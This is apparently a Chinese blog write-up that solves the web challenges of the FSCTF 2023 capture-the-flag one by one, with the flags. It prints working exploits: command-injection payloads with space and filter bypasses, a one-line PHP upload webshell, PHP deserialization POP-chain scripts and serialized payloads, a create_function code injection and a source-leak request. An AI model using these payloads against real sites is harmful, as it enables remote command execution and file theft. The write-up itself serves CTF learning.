FSCTF2023-web复现


源码!启动!

题目描述:

1
原…!诶不对,源啥呀这是

查看源码,右键被禁用

ctrl+u查看源码

最后flag为

1
NSSCTF{b08200a6-f9a1-48fa-b0dd-18e37d21ad7f}

webshell是啥捏

题目描述:

1
签个到再走呗

开启环境

get传参

1
?👽=cat /fl*

最后flag为

1
FSCTF{h3llo_ctfe2_5ign_in_webshell_Is_e@sy_right}

细狗2.0

题目描述:

1
行就是行,不行就是不行。RCE全不做是几个意思啊QAQ

开启环境

head 命令查看文件,${IFS}代替空格,flag用通配符

最后flag为

1
NSSCTF{27894d69-5451-4420-94a1-3f85f573966d} 

EZ_eval

开启环境

思路

1
?用<script>代替,空格用${IFS}和%0a代替,读取文件命令就用strings,php执行命令

构造payload

1
?word=<script%0alanguage='php'>system('strings${IFS}/fl*')</script>

最后flag为

1
FSCTF{c0ng2atu1ati0ns_y0u_a2e_go0D!}

Hello,you

题目描述:

1
这道题目是一道非常简单的RCE,因为我看到了隔壁师傅出的那道RCE,所以这只是一个RCE,一道非常简单的RCE,这个RCE呢,不是难的RCE,但也不是太简单的RCE,因为这个RCE需要一些技巧和耐心才能解决。

payload:

1
;more fl*

最后flag为

1
NSSCTF{5e3d8d99-983e-4e29-8bd0-7908943a89a4}

ez_php1

题目描述:

1
do you know point?

开启环境

数组绕过

1
?a[]=1&b[]=2

post传参

1
FL_AG=1

访问/L0vey0U.php

简单反序列化

1
2
3
4
<?php
$str="YES I love";
echo serialize($str);
?>

payload

1
?str=s:10:"YES I love";

访问/P0int.php

简单的反序列化

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Clazz
{
public $a;
public $b;

public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a = new Clazz;
$a->b = &$a->a;

echo serialize($a);
?>

payload

1
data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

base解密

最后flag为

1
FLAG{y0u_are_l0ve!!!!}

巴巴托斯!

题目描述:

1
愿你困于无风之地,我将奏响高天之歌。

开启环境

修改浏览器UA

本地访问

伪协议读取

base解密

最后flag为

1
NSSCTF{49fb278f-c38f-47c7-9261-bac4fd94703c}

寻找蛛丝马迹

题目描述:

1
睁大眼睛,保护视力

开启环境

查看网页源码得到第一段flag

第一段flag

1
FSCTF{Tell_y0U_n

在css文件里发现flag第二段

第二段flag

1
oT_To_p

在js文件里发现flag第三段

第三段flag

1
oInT_oUt_

dirsearch扫描

访问/robots.txt得到第四段flag

第四段flag

1
tH@t_y000

看到苹果,可以想到.DS_store,访问/.DS_store

第五段flag

1
u_Don't

访问/www.zip,得到第六段flag

第六段flag

1
believe_it!}

整理得到最后flag为

1
FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don’t_believe_it!}

是兄弟,就来传你の🐎!

题目描述:

1
你真的懂文件上传吗?

PHP最短webshell上传

1
BM<?=`tac /f*`;

上传成功,访问路径

最后flag为

1
NSSCTF{9e067b57-8122-45da-a5dc-cae3feaf6087} 

ez_php2

题目描述:

1
简单的pop链

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;

public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{

if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}


class Poc{
public $payload;

public $fun;

public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}

class Er{
public $symbol;
public $Flag;

public function __construct()
{
$this->symbol = True;
}

public function __set($name, $value)
{
$value($this->Flag);
}


}

class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}

public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}


if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?> You are Silly goose!

构造链子

1
Ha __destr-> Rd __call -> Er __set

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
Class Rd{
public $ending;
public $cl;

public $poc;

}


class Er{
public $symbol;
public $Flag;

}

class Ha{
public $start;
public $start1;
public $start2 = "11111";
}

$Ha_start_dic = array(
"POC" => "1111"
);
$Ha_start = array($Ha_start_dic);


$Ha_start1 = new Rd();

$Ha_start1_cl = new Er();
$Ha_start1_cl->Flag = "cat /flag";

$ha = new Ha();
$ha->start = $Ha_start_dic;
$ha->start1 = $Ha_start1;
$Ha_start1->cl = $Ha_start1_cl;
echo urlencode(serialize($ha));

?>

payload

1
Ha_rde_r=O%3A2%3A%22Ha%22%3A3%3A%7Bs%3A5%3A%22start%22%3Ba%3A1%3A%7Bs%3A3%3A%22POC%22%3Bs%3A4%3A%221111%22%3B%7Ds%3A6%3A%22start1%22%3BO%3A2%3A%22Rd%22%3A3%3A%7Bs%3A6%3A%22ending%22%3BN%3Bs%3A2%3A%22cl%22%3BO%3A2%3A%22Er%22%3A2%3A%7Bs%3A6%3A%22symbol%22%3BN%3Bs%3A4%3A%22Flag%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A3%3A%22poc%22%3BN%3B%7Ds%3A6%3A%22start2%22%3Bs%3A5%3A%2211111%22%3B%7D

最后flag为

1
flag{Y0u_a2e_S0_G00d!!!!!}

签到plus

题目描述:

1
harder在洗脚的时候服务器被黑客接管了,让你帮忙排查,你可以抢回来吗?

dirsearch扫描

访问/shell.php

php<= 7 . 4 . 21 development server源码泄露

payload

1
2
3
4
5
6
7
GET /shell.php HTTP/1.1
Host: node4.anna.nssctf.cn:28467


GET / HTTP/1.1


在重放器选项中关闭自动更新content-length

将响应包另存为文件打开

get传参即可

最后flag为

1
FSCTF{ThIs_1s_wh@t_you_w@n7}

CanCanNeed

题目描述:

1
php虽然是世界上最好的语言,但是也提供了不少不安全函数~

开启环境

使用create_function,system命令

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Noteasy
{
protected $param1 = "create_function";
protected $param2 = "};system(\$_POST[666]);//";

function __destruct()
{
$a = $this->param1;
$b = $this->param2;
if (preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}

$c = new Noteasy();
echo(base64_encode(serialize($c)));

运行得到

post传参即可

最后flag为

1
NSSCTF{f80706bd-b721-4f9f-9144-452a999f312f}

加速加速

条件竞争

看这个师傅

[FSCTF 2023]加速加速已解决-CSDN博客


文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录